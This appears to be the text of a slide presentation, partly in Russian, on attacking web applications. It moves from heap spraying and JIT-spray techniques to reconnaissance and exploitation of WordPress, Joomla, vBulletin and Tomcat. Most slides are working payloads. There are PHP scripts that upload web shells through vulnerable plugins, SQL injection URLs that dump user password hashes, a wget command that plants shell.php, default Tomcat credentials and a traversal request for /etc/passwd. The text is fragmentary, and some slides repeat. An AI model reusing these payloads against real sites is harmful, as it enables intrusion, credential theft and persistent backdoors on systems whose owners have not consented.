2

JSVBActionScriptHTML5SGMLSVG

spray the heap exploit the bug profit!

Любой динамически задаваемый контент.

3

nops = unescape("%u0D0D%u0D0D");shellcode = unescape("%u...);heap = new Array();for ( i=0; i<slen;i++){

heap[i] = nops + shellcode;}exploit();

heap[slen]:NOPS

shell

heap[slen-1]:NOPS

shell

heap[0]:NOPS

shell

...

4

var a = (0x11223344^0x44332211^0x44332211^ ...);

0: b8 44 33 22 11 mov $0x11223344,%eax 5: 35 11 22 33 44 xor $0x44332211,%eax a: 35 11 22 33 44 xor $0x44332211,%eax

1: 44 inc %esp2: 33 22 xor (%edx),%esp4: 11 35 11 22 33 44 adc %esi,0x44332211a: 35 11 22 33 44 xor $0x44332211,%eax

6

Wordpress checks

admin location /wp-admin/

admin user admin

plugins /wp-content/plugins

themes /wp-content/themes

scanner nmap http-wordpress-plugins

nmap --script=http-wordpress-plugins --script-args \http-wordpress-plugins.root="/blog/" <target>

7

Exploit: suco theme file upload

<?php$uploadfile="devilscream.php";$ch = curl_init("http://127.0.0.1/wp-content/themes/suco/themify/themify-ajax.php?upload=1");curl_setopt($ch, CURLOPT_POST, true);curl_setopt($ch, CURLOPT_POSTFIELDS,

array('Filedata'=>"@$uploadfile"));curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$postResult = curl_exec($ch);curl_close($ch);print "$postResult";?>

shell: http://SITE-TARGET/wp-content/themes/suco/uploads/devilscream.php

8

Exploit: wp-realty blind sql

http://localhost/wordpress/wp-content/plugins/wp-realty/index_ext.php?action=contact_friend&popup=yes&listing_id=[SQLi]

9

Exploit: Complete Gallery Manager 3.3.3 file upload

<?php$uploadfile="up.php";$ch = curl_init("http://target/wordpress/wp-content/plugins/complete-gallery-manager/frames/upload-images.php");curl_setopt($ch, CURLOPT_POST, true);curl_setopt($ch, CURLOPT_POSTFIELDS,

array('qqfile'=>"@$uploadfile"));curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$postResult = curl_exec($ch);curl_close($ch);print "$postResult";

?>

10

Exploit: All Video Gallery 1.1 sqli

http://site.com/wp-content/plugins/all-video-gallery/config.php?vid=1&pid=11&pid=-1+union+select+1,2,3,4,group_concat(user_login,0x3a,user_pass),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41+from+wp_users--

11

Joomla checks

admin location /administrator/

admin user admin

components /components/com_*

parameter components /?option=com_*

scanner joomscan

12

Exploit: redSHOP component sqli

http://example.com/index.php?tmpl=component&option=com_redshop&view=product&task=addtocompare&pid=24%22%20and%201=0%20union%20select%201,2,3,4,5,6,7,8,concat_ws%280x203a20,%20user%28%29,%20database%28%29,%20version%28%29%29,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63%23&cmd=add&cid=20&sid=0.6886686905513422

13

Exploit: com_civicrm component remote code execution

wget –post-data "<?php phpinfo(); ?>" http://target/administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/php-ofc-library/ofc_upload_image.php?name=shell.php

14

vBulletin checks

admin location /admincp/

admin user admin

addons /

15

Exploit: Yet Another Award sqli

$vbulletin->input->clean_array_gpc('p', array('award_id' => TYPE_UINT,//'award_request_name' => TYPE_STR,//'award_request_recipient_name' => TYPE_STR,'award_request_reason' => TYPE_STR,'award_request_uid' => TYPE_UNIT,

));

$award_request_uid = $vbulletin->GPC['award_request_uid'];$db->query_write("INSERT INTO " . TABLE_PREFIX . "award_requests (award_req_uid, award_rec_uid, award_req_aid, award_req_reason) VALUES ('$award_request_uid', '$award_request_uid', '$award[award_id]', '". $db->escape_string($vbulletin->GPC['award_request_reason']) ."')");

Google dork: inurl:awards.php intext:"powered by vbulletin"

http://[site].com/request_award.phpPOST: do=submit&name=award_id=[VALID REWARD ID]&award_request_reason=0&award_request_uid=0[SQL]&submit=Submit

16

Exploit: vBulletin 4.1.10 LFI

http://target/Patch/includes/functions_cron.php?nextitem=[Lfi]

http://[site].com/request_award.phpPOST: do=submit&name=award_id=[VALID REWARD ID]&award_request_reason=0&award_request_uid=0[SQL]&submit=Submit

17

Tomcat checks

admin location /admin/ /manager/

admin user admin

addons /

tomcat:tomcatpassword:passwordadmin:adminadmin:passwordadmin:<nopassword>tomcat:<nopassword>

18

Exploit: tomcat < 6.0.18 utf8 directory traversal

GET /%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

19

5 апреля 2010

jira issue: http://tinyurl.com/XXXXXXXXX

XSS

получение административного доступа в jira

backdoor